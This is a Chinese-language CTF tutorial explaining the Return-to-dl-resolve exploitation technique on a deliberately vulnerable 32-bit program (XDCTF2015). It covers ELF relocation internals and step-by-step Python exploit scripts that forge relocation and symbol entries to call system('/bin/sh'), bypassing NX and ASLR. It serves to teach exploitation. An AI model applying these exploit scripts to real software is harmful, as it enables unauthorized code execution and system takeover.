玩CTF的賽棍都知道,PWN類型的漏洞題目一般會提供一個可執行程序,同時會提供程序運行動態鏈接的libc庫。通過libc.so可以得到庫函數的偏移地址,再結合泄露GOT表中libc函數的地址,計算出進程中實際函數的地址,以繞過ASLR。這種手法叫return-to-libc。本文將介紹一種不依賴libc的手法。
以XDCTF2015-EXPLOIT2為例,這題當時是只給了可執行文件的。出這題的初衷就是想通過Return-to-dl-resolve的手法繞過NX和ASLR的限制。本文將詳細介紹一下該手法的利用過程。
這里構造一個存在棧緩沖區溢出漏洞的程序,以方便后續我們構造ROP鏈。
#!cpp
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void vuln()
{
char buf[100];
setbuf(stdin,buf);
read(0,buf,256); // Buffer OverFlow
}
int main()
{
char buf[100] = "Welcome to XDCTF2015~!\n";
setbuf(stdout,buf);
write(1,buf,strlen(buf));
vuln();
return 0;
}
ELF可執行文件由ELF頭部,程序頭部表和其對應的段,節區頭部表和其對應的節組成。如果一個可執行文件參與動態鏈接,它的程序頭部表將包含類型為 PT_DYNAMIC
的段,它包含.dynamic
節區。結構如圖,
#!c
typedef struct {
Elf32_Sword d_tag;
union {
Elf32_Word d_val;
Elf32_Addr d_ptr;
} d_un;
} Elf32_Dyn;
其中Tag對應著每個節區。比如JMPREL
對應著.rel.plt
節區中包含目標文件的所有信息。節的結構如圖。
#!c
typedef struct{
Elf32_Word sh_name; // 節區頭部字符串表節區的索引
Elf32_Word sh_type; // 節區類型
Elf32_Word sh_flags; // 節區標志,用于描述屬性
Elf32_Addr sh_addr; // 節區的內存映像
Elf32_Off sh_offset; // 節區的文件偏移
Elf32_Word sh_size; // 節區的長度
Elf32_Word sh_link; // 節區頭部表索引鏈接
Elf32_Word sh_info; // 附加信息
Elf32_Word sh_addralign; // 節區對齊約束
Elf32_Word sh_entsize; // 固定大小的節區表項的長度
}Elf32_Shdr;
如圖,列出了該文件的28個節區。其中類型為REL的節區包含重定位表項。
(1) 其中.rel.plt
節是用于函數重定位,.rel.dyn
節是用于變量重定位
#!c
typedef struct {
Elf32_Addr r_offset; // 對于可執行文件,此值為虛擬地址
Elf32_Word r_info; // 符號表索引
} Elf32_Rel;
#define ELF32_R_SYM(i) ((i)>>8)
#define ELF32_R_TYPE(i) ((unsigned char)(i))
#define ELF32_R_INFO(s, t) (((s)<<8) + (unsigned char)(t))
如圖,在.rel.plt
中列出了鏈接的C庫函數,以下均已write
函數為例,write
函數的r_offset=0x804a010
,r_info=0x507
(2) 其中.got
節保存全局變量偏移表,.got.plt
節存儲著全局函數偏離表。.got.plt
對應著Elf32_Rel
結構中r_offset
的值。如圖,write
函數在GOT表中位于0x804a010
(3)其中.dynsym
節區包含了動態鏈接符號表。其中,Elf32_Sym[num]
中的num
對應著ELF32_R_SYM(Elf32_Rel->r_info)
。根據定義,ELF32_R_SYM(Elf32_Rel->r_info) = (Elf32_Rel->r_info)>>8
。
#!c
typedef struct
{
Elf32_Word st_name; /* Symbol name (string tbl index) */
Elf32_Addr st_value; /* Symbol value */
Elf32_Word st_size; /* Symbol size */
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other; /* Symbol visibility under glibc>=2.2 */
Elf32_Section st_shndx; /* Section index */
} Elf32_Sym;
如圖,write
的索引值為ELF32_R_SYM(0x507) = 0x507 >> 8 = 5
。而Elf32_Sym[5]
即保存著write
的符號表信息。并且ELF32_R_TYPE(0x507) = 7
,對應R_386_JUMP_SLOT
(4)其中.dynstr
節包含了動態鏈接的字符串。這個節區以\x00
作為開始和結尾,中間每個字符串也以\x00
間隔。如圖,Elf32_Sym[5]->st_name = 0x54
,所以.dynstr
加上0x54
的偏移量,就是字符串write
(5)其中.plt
節是過程鏈接表。過程鏈接表把位置獨立的函數調用重定向到絕對位置。如圖,當程序執行call [email protected]
時,實際會跳到0x80483c0
去執行。
程序在執行的過程中,可能引入的有些C庫函數到結束時都不會執行。所以ELF采用延遲綁定的技術,在第一次調用C庫函數是時才會去尋找真正的位置進行綁定。
具體來說,在前一部分我們已經知道,當程序執行call [email protected]
時,實際會跳到0x80483c0
去執行。而0x80483c0
處的匯編代碼僅僅三行。我們來看一下這三行代碼做了什么。
第一行,上一部分也提到了0x804a010
是write
的GOT表位置,當我們第一次調用write
時,其對應的GOT表里并沒有存放write
的真實地址,而是下一條指令的地址。第二、三行,把reloc_arg=0x20
作為參數推入棧中,跳到0x8048370
繼續執行。
0x8048370
再把link_map = *(GOT+4)
作為參數推入棧中,而*(GOT+8)
中保存的是_dl_runtime_resolve
函數的地址。因此以上指令相當于執行了_dl_runtime_resolve(link_map, reloc_arg)
,該函數會完成符號的解析,即將真實的write
函數地址寫入其GOT
條目中,隨后把控制權交給write
函數。
其中_dl_runtime_resolve
是在glibc-2.22/sysdeps/i386/dl-trampoline.S
中用匯編實現的。0xf7ff04fb
處即調用_dl_fixup
,并且通過寄存器傳參。
其中_dl_fixup
是在glibc-2.22/elf/dl-runtime.c
實現的,我們只關注一些主要函數。
#!c
_dl_fixup (struct link_map *l, ElfW(Word) reloc_arg)
首先通過參數reloc_arg
計算重定位入口,這里的JMPREL
即.rel.plt
,reloc_offset
即reloc_arg
。
#!c
const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
然后通過reloc->r_info
找到.dynsym
中對應的條目。
#!c
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
這里還會檢查reloc->r_info
的最低位是不是R_386_JUMP_SLOT=7
#!c
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
接著通過strtab + sym->st_name
找到符號表字符串,result
為libc基地址
#!c
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,version, ELF_RTYPE_CLASS_PLT, flags, NULL);
value
為libc基址加上要解析函數的偏移地址,也即實際地址。
#!c
value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0);
最后把value
寫入相應的GOT表條目中
#!c
return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
index_arg
參數index_arg
的大小,使reloc
的位置落在可控地址內reloc
的內容,使sym
落在可控地址內sym
的內容,使name
落在可控地址內name
為任意庫函數,如system
首先確認一下進程當前開了哪些保護
由于程序存在棧緩沖區漏洞,我們可以用PEDA很快定位覆寫EIP的位置。
stage1
我們先寫一個ROP鏈,直接返回到[email protected]
#!python
from zio import *
offset = 112
addr_plt_read = 0x08048390 # objdump -d -j.plt bof | grep "read"
addr_plt_write = 0x080483c0 # objdump -d -j.plt bof | grep "write"
#./rp-lin-x86 --file=bof --rop=3 --unique > gadgets.txt
pppop_ret = 0x0804856c
pop_ebp_ret = 0x08048453
leave_ret = 0x08048481
stack_size = 0x800
addr_bss = 0x0804a020 # readelf -S bof | grep ".bss"
base_stage = addr_bss + stack_size
target = "./bof"
io = zio((target))
io.read_until('Welcome to XDCTF2015~!\n')
# io.gdb_hint([0x80484bd])
buf1 = 'A' * offset
buf1 += l32(addr_plt_read)
buf1 += l32(pppop_ret)
buf1 += l32(0)
buf1 += l32(base_stage)
buf1 += l32(100)
buf1 += l32(pop_ebp_ret)
buf1 += l32(base_stage)
buf1 += l32(leave_ret)
io.writeline(buf1)
cmd = "/bin/sh"
buf2 = 'AAAA'
buf2 += l32(addr_plt_write)
buf2 += 'AAAA'
buf2 += l32(1)
buf2 += l32(base_stage+80)
buf2 += l32(len(cmd))
buf2 += 'A' * (80-len(buf2))
buf2 += cmd + '\x00'
buf2 += 'A' * (100-len(buf2))
io.writeline(buf2)
io.interact()
最后會把我們輸入的cmd
打印出來
stage2
這次我們控制EIP返回到PLT0
,要帶上index_offset
。這里我們修改一下buf2
#!python
...
cmd = "/bin/sh"
addr_plt_start = 0x8048370 # objdump -d -j.plt bof
index_offset = 0x20
buf2 = 'AAAA'
buf2 += l32(addr_plt_start)
buf2 += l32(index_offset)
buf2 += 'AAAA'
buf2 += l32(1)
buf2 += l32(base_stage+80)
buf2 += l32(len(cmd))
buf2 += 'A' * (80-len(buf2))
buf2 += cmd + '\x00'
buf2 += 'A' * (100-len(buf2))
io.writeline(buf2)
io.interact()
同樣會把我們輸入的cmd
打印出來
stage3
這一次我們控制index_offset
,使其指向我們偽造的fake_reloc
#!python
...
cmd = "/bin/sh"
addr_plt_start = 0x8048370 # objdump -d -j.plt bof
addr_rel_plt = 0x8048318 # objdump -s -j.rel.plt a.out
index_offset = (base_stage + 28) - addr_rel_plt
addr_got_write = 0x804a020
r_info = 0x507
fake_reloc = l32(addr_got_write) + l32(r_info)
buf2 = 'AAAA'
buf2 += l32(addr_plt_start)
buf2 += l32(index_offset)
buf2 += 'AAAA'
buf2 += l32(1)
buf2 += l32(base_stage+80)
buf2 += l32(len(cmd))
buf2 += fake_reloc
buf2 += 'A' * (80-len(buf2))
buf2 += cmd + '\x00'
buf2 += 'A' * (100-len(buf2))
io.writeline(buf2)
io.interact()
同樣會把我們輸入的cmd
打印出來
stage4
這一次我們偽造fake_sym
,使其指向我們控制的st_name
#!python
cmd = "/bin/sh"
addr_plt_start = 0x8048370 # objdump -d -j.plt bof
addr_rel_plt = 0x8048318 # objdump -s -j.rel.plt a.out
index_offset = (base_stage + 28) - addr_rel_plt
addr_got_write = 0x804a020
addr_dynsym = 0x080481d8
addr_dynstr = 0x08048268
fake_sym = base_stage + 36
align = 0x10 - ((fake_sym - addr_dynsym) & 0xf)
fake_sym = fake_sym + align
index_dynsym = (fake_sym - addr_dynsym) / 0x10
r_info = (index_dynsym << 8 ) | 0x7
fake_reloc = l32(addr_got_write) + l32(r_info)
st_name = 0x54
fake_sym = l32(st_name) + l32(0) + l32(0) + l32(0x12)
buf2 = 'AAAA'
buf2 += l32(addr_plt_start)
buf2 += l32(index_offset)
buf2 += 'AAAA'
buf2 += l32(1)
buf2 += l32(base_stage+80)
buf2 += l32(len(cmd))
buf2 += fake_reloc
buf2 += 'B' * align
buf2 += fake_sym
buf2 += 'A' * (80-len(buf2))
buf2 += cmd + '\x00'
buf2 += 'A' * (100-len(buf2))
io.writeline(buf2)
io.interact()
同樣會把我們輸入的cmd
打印出來
stage5
這次把st_name
指向我們偽造的字符串write
#!python
...
cmd = "/bin/sh"
addr_plt_start = 0x8048370 # objdump -d -j.plt bof
addr_rel_plt = 0x8048318 # objdump -s -j.rel.plt a.out
index_offset = (base_stage + 28) - addr_rel_plt
addr_got_write = 0x804a020
addr_dynsym = 0x080481d8
addr_dynstr = 0x08048268
addr_fake_sym = base_stage + 36
align = 0x10 - ((addr_fake_sym - addr_dynsym) & 0xf)
addr_fake_sym = addr_fake_sym + align
index_dynsym = (addr_fake_sym - addr_dynsym) / 0x10
r_info = (index_dynsym << 8 ) | 0x7
fake_reloc = l32(addr_got_write) + l32(r_info)
st_name = (addr_fake_sym + 16) - addr_dynstr
fake_sym = l32(st_name) + l32(0) + l32(0) + l32(0x12)
buf2 = 'AAAA'
buf2 += l32(addr_plt_start)
buf2 += l32(index_offset)
buf2 += 'AAAA'
buf2 += l32(1)
buf2 += l32(base_stage+80)
buf2 += l32(len(cmd))
buf2 += fake_reloc
buf2 += 'B' * align
buf2 += fake_sym
buf2 += "write\x00"
buf2 += 'A' * (80-len(buf2))
buf2 += cmd + '\x00'
buf2 += 'A' * (100-len(buf2))
io.writeline(buf2)
io.interact()
同樣會把我們輸入的cmd
打印出來
stage6
替換write
為system
,并修改system
的參數
#!python
...
cmd = "/bin/sh"
addr_plt_start = 0x8048370 # objdump -d -j.plt bof
addr_rel_plt = 0x8048318 # objdump -s -j.rel.plt a.out
index_offset = (base_stage + 28) - addr_rel_plt
addr_got_write = 0x804a020
addr_dynsym = 0x080481d8
addr_dynstr = 0x08048268
addr_fake_sym = base_stage + 36
align = 0x10 - ((addr_fake_sym - addr_dynsym) & 0xf)
addr_fake_sym = addr_fake_sym + align
index_dynsym = (addr_fake_sym - addr_dynsym) / 0x10
r_info = (index_dynsym << 8 ) | 0x7
fake_reloc = l32(addr_got_write) + l32(r_info)
st_name = (addr_fake_sym + 16) - addr_dynstr
fake_sym = l32(st_name) + l32(0) + l32(0) + l32(0x12)
buf2 = 'AAAA'
buf2 += l32(addr_plt_start)
buf2 += l32(index_offset)
buf2 += 'AAAA'
buf2 += l32(base_stage+80)
buf2 += 'aaaa'
buf2 += 'aaaa'
buf2 += fake_reloc
buf2 += 'B' * align
buf2 += fake_sym
buf2 += "system\x00"
buf2 += 'A' * (80-len(buf2))
buf2 += cmd + '\x00'
buf2 += 'A' * (100-len(buf2))
io.writeline(buf2)
io.interact()
得到一個shell
以上只是敘述原理,當然你比較懶的話,這里已經有成熟的工具輔助編寫利用腳本roputils